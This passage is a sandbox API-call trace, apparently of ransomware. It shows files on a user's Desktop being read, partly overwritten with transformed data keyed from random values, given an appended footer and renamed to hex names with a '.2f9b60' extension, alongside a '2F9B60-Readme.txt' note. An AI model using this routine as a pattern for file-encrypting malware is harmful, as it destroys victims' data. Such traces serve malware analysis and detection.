hFile=0x1b90, liDistanceToMove=0x10abe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.800] ReadFile (in: hFile=0x1b90, lpBuffer=0x1d1af660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d1af6a8, lpOverlapped=0x0 | out: lpBuffer=0x1d1af660*, lpNumberOfBytesRead=0x1d1af6a8*=0x4, lpOverlapped=0x0) returned 1 [0133.801] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.802] NtQuerySystemTime (in: CurrentTime=0x1d1af5a0 | out: CurrentTime=0x1d1af5a0*=132462177390502000) returned 0x0 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x73dad548 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0xaf0ce60 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x6eb2b26c [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x3ee01bf9 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x41a9d335 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x54147fbd [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x1b2c1cf4 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x2e6cc561 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x42223b19 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x5656db98 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x75801bc9 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x5fad0492 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x45edf136 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x3a244015 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x23386ea3 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x43bacdb [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x642d5abe [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x25823200 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x16acdb43 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x7b0c1c95 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x2aff3f6a [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x69682cb1 [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x2bc7386f [0133.802] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x29a5fdbd [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x7e1ad950 [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x3b0745b0 [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x43230e4d [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x1fb4a6e3 [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x5925fd38 [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x4033ef91 [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x7c1d4e7a [0133.803] RtlRandomEx (in: Seed=0x1d1af590 | out: Seed=0x1d1af590) returned 0x739fd79f [0133.810] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.810] ReadFile (in: hFile=0x1b90, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d1af600, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x1d1af600*=0x3c00, lpOverlapped=0x0) returned 1 [0133.811] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41caa520 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0133.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.812] WriteFile (in: hFile=0x1b90, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d1af600, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x1d1af600*=0x3c00, lpOverlapped=0x0) returned 1 [0133.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0133.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fb30 [0133.818] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.818] WriteFile (in: hFile=0x1b90, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x1d1af6b0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1d1af6b0*=0x116, lpOverlapped=0x0) returned 1 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202673b0 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0133.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1ced5620 [0133.827] sprintf (in: _Dest=0x1ced5620, _Format="%c%c" | out: _Dest="ca") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5622, _Format="%c%c" | out: _Dest="e7") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5624, _Format="%c%c" | out: _Dest="84") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5626, _Format="%c%c" | out: _Dest="8c") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5628, _Format="%c%c" | out: _Dest="a8") returned 2 [0133.827] sprintf (in: _Dest=0x1ced562a, _Format="%c%c" | out: _Dest="5f") returned 2 [0133.827] sprintf (in: _Dest=0x1ced562c, _Format="%c%c" | out: _Dest="02") returned 2 [0133.827] sprintf (in: _Dest=0x1ced562e, _Format="%c%c" | out: _Dest="ff") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5630, _Format="%c%c" | out: _Dest="0a") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5632, _Format="%c%c" | out: _Dest="2d") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5634, _Format="%c%c" | out: _Dest="e1") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5636, _Format="%c%c" | out: _Dest="83") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5638, _Format="%c%c" | out: _Dest="ca") returned 2 [0133.827] sprintf (in: _Dest=0x1ced563a, _Format="%c%c" | out: _Dest="33") returned 2 [0133.827] sprintf (in: _Dest=0x1ced563c, _Format="%c%c" | out: _Dest="05") returned 2 [0133.827] sprintf (in: _Dest=0x1ced563e, _Format="%c%c" | out: _Dest="ec") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5640, _Format="%c%c" | out: _Dest="ab") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5642, _Format="%c%c" | out: _Dest="02") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5644, _Format="%c%c" | out: _Dest="4d") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5646, _Format="%c%c" | out: _Dest="7f") returned 2 [0133.827] sprintf (in: _Dest=0x1ced5648, _Format="%c%c" | out: _Dest="af") returned 2 [0133.827] sprintf (in: _Dest=0x1ced564a, _Format="%c%c" | out: _Dest="f8") returned 2 [0133.827] sprintf (in: _Dest=0x1ced564c, _Format="%c%c" | out: _Dest="ab") returned 2 [0133.828] sprintf (in: _Dest=0x1ced564e, _Format="%c%c" | out: _Dest="81") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5650, _Format="%c%c" | out: _Dest="40") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5652, _Format="%c%c" | out: _Dest="a3") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5654, _Format="%c%c" | out: _Dest="17") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5656, _Format="%c%c" | out: _Dest="5c") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5658, _Format="%c%c" | out: _Dest="89") returned 2 [0133.828] sprintf (in: _Dest=0x1ced565a, _Format="%c%c" | out: _Dest="a7") returned 2 [0133.828] sprintf (in: _Dest=0x1ced565c, _Format="%c%c" | out: _Dest="f3") returned 2 [0133.828] sprintf (in: _Dest=0x1ced565e, _Format="%c%c" | out: _Dest="f6") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5660, _Format="%c%c" | out: _Dest="a4") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5662, _Format="%c%c" | out: _Dest="fc") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5664, _Format="%c%c" | out: _Dest="dc") returned 2 [0133.828] sprintf (in: _Dest=0x1ced5666, _Format="%c%c" | out: _Dest="26") returned 2 [0133.828] RtlInitAnsiString (in: DestinationString=0x1d1af728, SourceString="cae7848ca85f02ff0a2de183ca3305ecab024d7faff8ab8140a3175c89a7f3f6a4fcdc26" | out: DestinationString="cae7848ca85f02ff0a2de183ca3305ecab024d7faff8ab8140a3175c89a7f3f6a4fcdc26") [0133.828] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d1af6f8, SourceString="cae7848ca85f02ff0a2de183ca3305ecab024d7faff8ab8140a3175c89a7f3f6a4fcdc26", AllocateDestinationString=1 | out: DestinationString="cae7848ca85f02ff0a2de183ca3305ecab024d7faff8ab8140a3175c89a7f3f6a4fcdc26") returned 0x0 [0133.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205088b0 [0133.828] wcscat (in: _Dest=0x20508810, _Source="cae7848ca85f02ff0a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a" [0133.828] wcscat (in: _Dest=0x20508810, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a.2f9b60" [0133.828] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a.2f9b60", NtPathName=0x1d1af6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\cae7848ca85f02ff0a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac0b0 [0133.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0133.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290510) returned 1 [0133.830] NtQueryInformationFile (in: FileHandle=0x1b90, IoStatusBlock=0x1d1af738, FileInformation=0x1d1af748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d1af738, FileInformation=0x1d1af748) returned 0x0 [0133.830] NtSetInformationFile (FileHandle=0x1b90, IoStatusBlock=0x1d1af738, FileInformation=0x1d1af748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508810) returned 1 [0133.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 [0133.832] FlushFileBuffers (hFile=0x1b90) returned 1 [0138.532] CloseHandle (hObject=0x1b90) returned 1 [0138.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4a840 [0138.620] wcscpy (in: _Dest=0x1cf4a840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.620] wcscat (in: _Dest=0x1cf4a840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.620] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a840) returned 1 [0139.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af610) returned 1 Thread: id = 1903 os_tid = 0x107c [0133.845] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\YPKJI79RKbUmFl.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\ypkji79rkbumfl.swf")) returned 0x20 [0133.845] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\YPKJI79RKbUmFl.swf", dwFileAttributes=0x20) returned 1 [0133.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\YPKJI79RKbUmFl.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\ypkji79rkbumfl.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b98 [0133.846] GetFileSizeEx (in: hFile=0x1b98, lpFileSize=0x2d82fb40 | out: lpFileSize=0x2d82fb40*=28444) returned 1 [0133.846] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x6f18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.846] ReadFile (in: hFile=0x1b98, lpBuffer=0x2d82fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d82fb08, lpOverlapped=0x0 | out: lpBuffer=0x2d82fac0*, lpNumberOfBytesRead=0x2d82fb08*=0x4, lpOverlapped=0x0) returned 1 [0133.847] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0133.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.847] NtQuerySystemTime (in: CurrentTime=0x2d82fa00 | out: CurrentTime=0x2d82fa00*=132462177390814000) returned 0x0 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x663047b9 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x56c46dc7 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x1c060663 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x63362cd9 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x1517579e [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x74cf9e59 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x408101e9 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x4882de9 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0xc607107 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x5a032784 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x6414bf8f [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x359c0a56 [0133.847] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x2a4275f5 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x6b609569 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x1cb16963 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x5696a82b [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x59ff460a [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x6973c166 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x3b117d02 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x5b42b901 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x545c7749 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x584a060b [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x45d5ad72 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x5774a02 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0xabba938 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x5eaa28c9 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x58092194 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x3619ba3 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x205f4a34 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x2109c5a7 [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0xe5cbe5e [0133.848] RtlRandomEx (in: Seed=0x2d82f9f0 | out: Seed=0x2d82f9f0) returned 0x6559e77a [0133.855] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.855] ReadFile (in: hFile=0x1b98, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d82fa60, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2d82fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0133.856] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41caa520 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0133.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.857] WriteFile (in: hFile=0x1b98, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d82fa60, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2d82fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0133.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0133.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fb30 [0133.860] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.860] WriteFile (in: hFile=0x1b98, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d82fb10, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2d82fb10*=0x116, lpOverlapped=0x0) returned 1 [0133.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0133.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0133.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20267440 [0133.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0133.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1ced5620 [0133.867] sprintf (in: _Dest=0x1ced5620, _Format="%c%c" | out: _Dest="8a") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5622, _Format="%c%c" | out: _Dest="8e") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5624, _Format="%c%c" | out: _Dest="b4") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5626, _Format="%c%c" | out: _Dest="df") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5628, _Format="%c%c" | out: _Dest="1a") returned 2 [0133.867] sprintf (in: _Dest=0x1ced562a, _Format="%c%c" | out: _Dest="f0") returned 2 [0133.867] sprintf (in: _Dest=0x1ced562c, _Format="%c%c" | out: _Dest="f4") returned 2 [0133.867] sprintf (in: _Dest=0x1ced562e, _Format="%c%c" | out: _Dest="b0") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5630, _Format="%c%c" | out: _Dest="1e") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5632, _Format="%c%c" | out: _Dest="b2") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5634, _Format="%c%c" | out: _Dest="08") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5636, _Format="%c%c" | out: _Dest="92") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5638, _Format="%c%c" | out: _Dest="b4") returned 2 [0133.867] sprintf (in: _Dest=0x1ced563a, _Format="%c%c" | out: _Dest="38") returned 2 [0133.867] sprintf (in: _Dest=0x1ced563c, _Format="%c%c" | out: _Dest="04") returned 2 [0133.867] sprintf (in: _Dest=0x1ced563e, _Format="%c%c" | out: _Dest="7e") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5640, _Format="%c%c" | out: _Dest="78") returned 2 [0133.867] sprintf (in: _Dest=0x1ced5642, _Format="%c%c" | out: _Dest="97") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5644, _Format="%c%c" | out: _Dest="9a") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5646, _Format="%c%c" | out: _Dest="c7") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5648, _Format="%c%c" | out: _Dest="bc") returned 2 [0133.868] sprintf (in: _Dest=0x1ced564a, _Format="%c%c" | out: _Dest="25") returned 2 [0133.868] sprintf (in: _Dest=0x1ced564c, _Format="%c%c" | out: _Dest="67") returned 2 [0133.868] sprintf (in: _Dest=0x1ced564e, _Format="%c%c" | out: _Dest="08") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5650, _Format="%c%c" | out: _Dest="a4") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5652, _Format="%c%c" | out: _Dest="f2") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5654, _Format="%c%c" | out: _Dest="8a") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5656, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.868] sprintf (in: _Dest=0x1ced5658, _Format="%c%c" | out: _Dest="ed") returned 2 [0133.868] sprintf (in: _Dest=0x1ced565a, _Format="%c%c" | out: _Dest="5b") returned 2 [0133.868] sprintf (in: 